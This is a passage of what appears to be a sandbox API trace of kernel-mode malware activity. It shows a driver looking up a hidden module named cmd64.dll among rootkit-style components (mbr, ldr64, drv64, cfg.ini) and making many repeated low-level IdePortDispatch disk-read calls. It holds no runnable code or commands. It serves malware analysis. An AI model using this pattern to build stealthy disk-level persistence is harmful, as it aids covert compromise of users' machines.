BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0113.657] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0113.657] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0113.657] KeEnterCriticalRegion () [0113.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb6000 [0113.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.658] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.658] IdePortDispatch () returned 0x103 [0113.658] KeWaitForMutexObject () returned 0x0 [0113.658] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0113.658] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0113.658] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.658] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.658] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.658] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.658] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.658] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0113.658] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0113.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.658] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.658] IdePortDispatch () returned 0x103 [0113.658] KeWaitForMutexObject () returned 0x0 [0113.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.658] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.658] IdePortDispatch () returned 0x103 [0113.658] KeWaitForMutexObject () returned 0x0 [0113.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.659] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.659] IdePortDispatch () returned 0x103 [0113.659] KeWaitForMutexObject () returned 0x0 [0113.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.659] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.659] IdePortDispatch () returned 0x103 [0113.659] KeWaitForMutexObject () returned 0x0 [0113.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.659] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.659] IdePortDispatch () returned 0x103 [0113.659] KeWaitForMutexObject () returned 0x0 [0113.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.660] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.660] IdePortDispatch () returned 0x103 [0113.660] KeWaitForMutexObject () returned 0x0 [0113.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.660] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.660] IdePortDispatch () returned 0x103 [0113.660] KeWaitForMutexObject () returned 0x0 [0113.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.660] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.660] IdePortDispatch () returned 0x103 [0113.660] KeWaitForMutexObject () returned 0x0 [0113.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.660] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.660] IdePortDispatch () returned 0x103 [0113.660] KeWaitForMutexObject () returned 0x0 [0113.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.661] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.661] IdePortDispatch () returned 0x103 [0113.661] KeWaitForMutexObject () returned 0x0 [0113.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.661] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.661] IdePortDispatch () returned 0x103 [0113.663] KeWaitForMutexObject () returned 0x0 [0113.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.663] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.664] IdePortDispatch () returned 0x103 [0113.664] KeWaitForMutexObject () returned 0x0 [0113.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.664] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.664] IdePortDispatch () returned 0x103 [0113.664] KeWaitForMutexObject () returned 0x0 [0113.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.664] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.664] IdePortDispatch () returned 0x103 [0113.664] KeWaitForMutexObject () returned 0x0 [0113.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.664] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.664] IdePortDispatch () returned 0x103 [0113.665] KeWaitForMutexObject () returned 0x0 [0113.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.665] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.665] IdePortDispatch () returned 0x103 [0113.665] KeWaitForMutexObject () returned 0x0 [0113.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.665] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.665] IdePortDispatch () returned 0x103 [0113.665] KeWaitForMutexObject () returned 0x0 [0113.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.665] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.665] IdePortDispatch () returned 0x103 [0113.665] KeWaitForMutexObject () returned 0x0 [0113.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.666] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.666] IdePortDispatch () returned 0x103 [0113.666] KeWaitForMutexObject () returned 0x0 [0113.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.666] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.666] IdePortDispatch () returned 0x103 [0113.666] KeWaitForMutexObject () returned 0x0 [0113.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.666] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.666] IdePortDispatch () returned 0x103 [0113.666] KeWaitForMutexObject () returned 0x0 [0113.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.669] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.669] IdePortDispatch () returned 0x103 [0113.669] KeWaitForMutexObject () returned 0x0 [0113.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.671] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.671] IdePortDispatch () returned 0x103 [0113.672] KeWaitForMutexObject () returned 0x0 [0113.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.672] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.672] IdePortDispatch () returned 0x103 [0113.672] KeWaitForMutexObject () returned 0x0 [0113.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.672] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.672] IdePortDispatch () returned 0x103 [0113.672] KeWaitForMutexObject () returned 0x0 [0113.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.672] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.672] IdePortDispatch () returned 0x103 [0113.672] KeWaitForMutexObject () returned 0x0 [0113.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.673] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.673] IdePortDispatch () returned 0x103 [0113.673] KeWaitForMutexObject () returned 0x0 [0113.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.673] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.673] IdePortDispatch () returned 0x103 [0113.673] KeWaitForMutexObject () returned 0x0 [0113.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.673] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.673] IdePortDispatch () returned 0x103 [0113.673] KeWaitForMutexObject () returned 0x0 [0113.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.674] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.674] IdePortDispatch () returned 0x103 [0113.674] KeWaitForMutexObject () returned 0x0 [0113.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.674] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.674] IdePortDispatch () returned 0x103 [0113.674] KeWaitForMutexObject () returned 0x0 [0113.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.674] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.674] IdePortDispatch () returned 0x103 [0113.674] KeWaitForMutexObject () returned 0x0 [0113.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.674] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.674] IdePortDispatch () returned 0x103 [0113.674] KeWaitForMutexObject () returned 0x0 [0113.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.675] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.675] IdePortDispatch () returned 0x103 [0113.675] KeWaitForMutexObject () returned 0x0 [0113.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.675] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.675] IdePortDispatch () returned 0x103 [0113.675] KeWaitForMutexObject () returned 0x0 [0113.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.675] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.675] IdePortDispatch () returned 0x103 [0113.675] KeWaitForMutexObject () returned 0x0 [0113.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.676] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.676] IdePortDispatch () returned 0x103 [0113.676] KeWaitForMutexObject () returned 0x0 [0113.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 